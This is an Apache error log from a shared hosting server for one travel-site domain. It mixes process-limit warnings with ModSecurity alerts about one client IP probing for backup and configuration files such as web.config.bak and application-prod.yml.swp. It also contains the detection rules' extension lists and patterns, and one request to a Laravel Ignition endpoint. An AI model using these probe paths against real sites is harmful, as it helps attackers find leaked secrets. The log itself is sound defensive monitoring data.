[Fri Jul 17 08:55:20.354914 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.363483 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".yml~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/application-prod.yml~"] [unique_id "almgoO1pLmPpy2r_2CxfXAAAAA8"]
[Fri Jul 17 08:55:20.364025 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/application-prod.yml~"] [unique_id "almgoO1pLmPpy2r_2CxfXAAAAA8"]
[Fri Jul 17 08:55:20.364180 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.364336 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoO1pLmPpy2r_2CxfXAAAAA8"]
[Fri Jul 17 08:55:20.364843 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/application-prod.yml.old"] [unique_id "almgoPwooI4qY7Jg93pVawAAABM"]
[Fri Jul 17 08:55:20.367397 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.369869 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.372096 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/application-prod.yml.old"] [unique_id "almgoPwooI4qY7Jg93pVawAAABM"]
[Fri Jul 17 08:55:20.372268 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.372426 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoPwooI4qY7Jg93pVawAAABM"]
[Fri Jul 17 08:55:20.377350 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.391206 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/application-prod.yml.backup"] [unique_id "almgoEkXT4NBqALj2lZ8xAAAABA"]
[Fri Jul 17 08:55:20.391754 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/application-prod.yml.backup"] [unique_id "almgoEkXT4NBqALj2lZ8xAAAABA"]
[Fri Jul 17 08:55:20.391867 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.391982 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoEkXT4NBqALj2lZ8xAAAABA"]
[Fri Jul 17 08:55:20.393202 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/application-prod.yml.swp"] [unique_id "almgoA5GPQ6hs4VrfMpBkQAAAAY"]
[Fri Jul 17 08:55:20.393476 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php/_ignition/execute-solution) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.393671 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/application-prod.yml.swp"] [unique_id "almgoA5GPQ6hs4VrfMpBkQAAAAY"]
[Fri Jul 17 08:55:20.393779 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.393931 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoA5GPQ6hs4VrfMpBkQAAAAY"]
[Fri Jul 17 08:55:20.397686 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.400950 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.404679 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/xmlrpc.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.407578 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.415686 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".config~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/web.config~"] [unique_id "almgoKquHSHoCJK_V0SBXgAAABs"]
[Fri Jul 17 08:55:20.415965 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/web.config~"] [unique_id "almgoKquHSHoCJK_V0SBXgAAABs"]
[Fri Jul 17 08:55:20.416260 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/web.config~"] [unique_id "almgoKquHSHoCJK_V0SBXgAAABs"]
[Fri Jul 17 08:55:20.416389 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.416411 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/web.config.bak"] [unique_id "almgoC0HS8lGbZyK8qt3LQAAACM"]
[Fri Jul 17 08:55:20.416416 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.416510 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoKquHSHoCJK_V0SBXgAAABs"]
[Fri Jul 17 08:55:20.416797 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/web.config.bak"] [unique_id "almgoC0HS8lGbZyK8qt3LQAAACM"]
[Fri Jul 17 08:55:20.419464 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/web.config.bak"] [unique_id "almgoC0HS8lGbZyK8qt3LQAAACM"]
[Fri Jul 17 08:55:20.419698 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.419915 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoC0HS8lGbZyK8qt3LQAAACM"]
[Fri Jul 17 08:55:20.421334 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/web.config.save"] [unique_id "almgoPwooI4qY7Jg93pVbAAAABM"]
[Fri Jul 17 08:55:20.421433 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/web.config.old"] [unique_id "almgoO1pLmPpy2r_2CxfXQAAAA8"]
[Fri Jul 17 08:55:20.421634 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/web.config.save"] [unique_id "almgoPwooI4qY7Jg93pVbAAAABM"]
[Fri Jul 17 08:55:20.421766 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.421848 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/web.config.old"] [unique_id "almgoO1pLmPpy2r_2CxfXQAAAA8"]
[Fri Jul 17 08:55:20.421920 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoPwooI4qY7Jg93pVbAAAABM"]
